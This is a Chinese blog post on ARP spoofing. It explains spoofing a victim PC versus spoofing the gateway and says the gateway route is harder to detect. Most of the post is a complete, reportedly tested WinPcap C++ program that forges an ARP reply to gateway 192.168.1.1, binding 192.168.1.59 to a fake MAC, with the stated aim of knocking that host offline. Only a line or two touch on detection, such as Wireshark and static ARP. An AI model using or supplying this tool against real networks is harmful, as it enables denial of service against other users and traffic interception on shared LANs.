ARP欺骗原理

    arp欺骗分欺骗他人正使用的pc和欺骗网关两种;前一种很容易很容易被发现,他人机器一查arp缓存就可以发现,或是已经安装防火墙欺骗也不得成功;后一种成功几率较高且较隐蔽,必须网管出马查询网关arp才能发现,前提是网关未采用静态arp;

    当然,如果使用抓包工具,那也很容易分析出问题的原因,个人较喜欢wireshark。

    假设网管为192.168.1.1,其真实的mac为00-10-e0-e7-cc-f0;我们想让192.168.1.59无法上网;那么可以欺骗59,告诉它一个错误的网关的mac;也可以欺骗网关,告诉它一个错误的59的mac;下面的例子是欺骗网关的例子,欺骗59的类似;

    下面程序使用winpcap 4.02、vs2003进行编写,经过测试,winpcap任何资料可以在http://www.winpcap.org/上找到。

 // SendPacket.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include <pcap.h>
#include "remote-ext.h"


void main(int argc, char **argv)
{
 pcap_t *fp;
 char errbuf[PCAP_ERRBUF_SIZE];
 u_char packet[60];
 pcap_if_t *alldevs;
 pcap_if_t *d;
 int inum;
 int i=0;
 pcap_t *adhandle;

    /* Retrieve the device list on the local machine */
    if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
    {
        fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
        exit(1);
    }
   
    /* Print the list */
    for(d=alldevs; d; d=d->next)
    {
        printf("%d. %s", ++i, d->name);
        if (d->description)
            printf(" (%s)/n", d->description);
        else
            printf(" (No description available)/n");
    }
   
    if(i==0)
    {
        printf("/nNo interfaces found! Make sure WinPcap is installed./n");
        return;
    }
   
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);
   
    if(inum < 1 || inum > i)
    {
        printf("/nInterface number out of range./n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return;
    }
   
    /* Jump to the selected adapter */
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
   
    /* Open the output device */
    if ( (fp= pcap_open(d->name,            // name of the device
                        60,                // portion of the packet to capture (only the first 100 bytes)
                        PCAP_OPENFLAG_PROMISCUOUS,  // promiscuous mode
                        1000,               // read timeout
                        NULL,               // authentication on the remote machine
                        errbuf              // error buffer
                        ) ) == NULL)
    {
        fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n", argv[1]);
        return;
    }

    //00-10-e0-e7-cc-f0
    //Supposing to be on ethernet, set mac destination*/
    packet[0]=0x00;
    packet[1]=0x10;
    packet[2]=0xe0;
    packet[3]=0xe7;
    packet[4]=0xcc;
    packet[5]=0xf0;
   
    //set mac source
    packet[6]=0x02;
    packet[7]=0x02;
    packet[8]=0x02;
    packet[9]=0x02;
    packet[10]=0x02;
    packet[11]=0x02;

    //frame type
    packet[12]=0x08;
    packet[13]=0x06;

    //hareware type
    packet[14]=0x00;
    packet[15]=0x01;

    //protocal type
    packet[16]=0x08;
    packet[17]=0x00;

    //hareware address length
    packet[18]=0x06;
    //protocal address length
    packet[19]=0x04;

    //op
    packet[20]=0x00;
    packet[21]=0x02;

    //source mac
    packet[22]=0x02;
    packet[23]=0x02;
    packet[24]=0x02;
    packet[25]=0x02;
    packet[26]=0x02;
    packet[27]=0x02;

    //source ip
    packet[28]=0xc0;
    packet[29]=0xa8;
    packet[30]=0x01;
    packet[31]=0x3B;

    //destination mac
    packet[32]=0x00;
    packet[33]=0x10;
    packet[34]=0xe0;
    packet[35]=0xe7;
    packet[36]=0xcc;
    packet[37]=0xf0;
   
    //destination ip
    packet[38]=0xc0;
    packet[39]=0xa8;
    packet[40]=0x01;
    packet[41]=0x01;

    /* Fill the rest of the packet */
    for(i=42;i<60;i++)
    {
        packet[i]=i%256;
    }

    /* Send down the packet */
    if (pcap_sendpacket(fp, packet, 60 /* size */) != 0)
    {
        fprintf(stderr,"/nError sending the packet: /n", pcap_geterr(fp));
        return;
    }

    return;
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值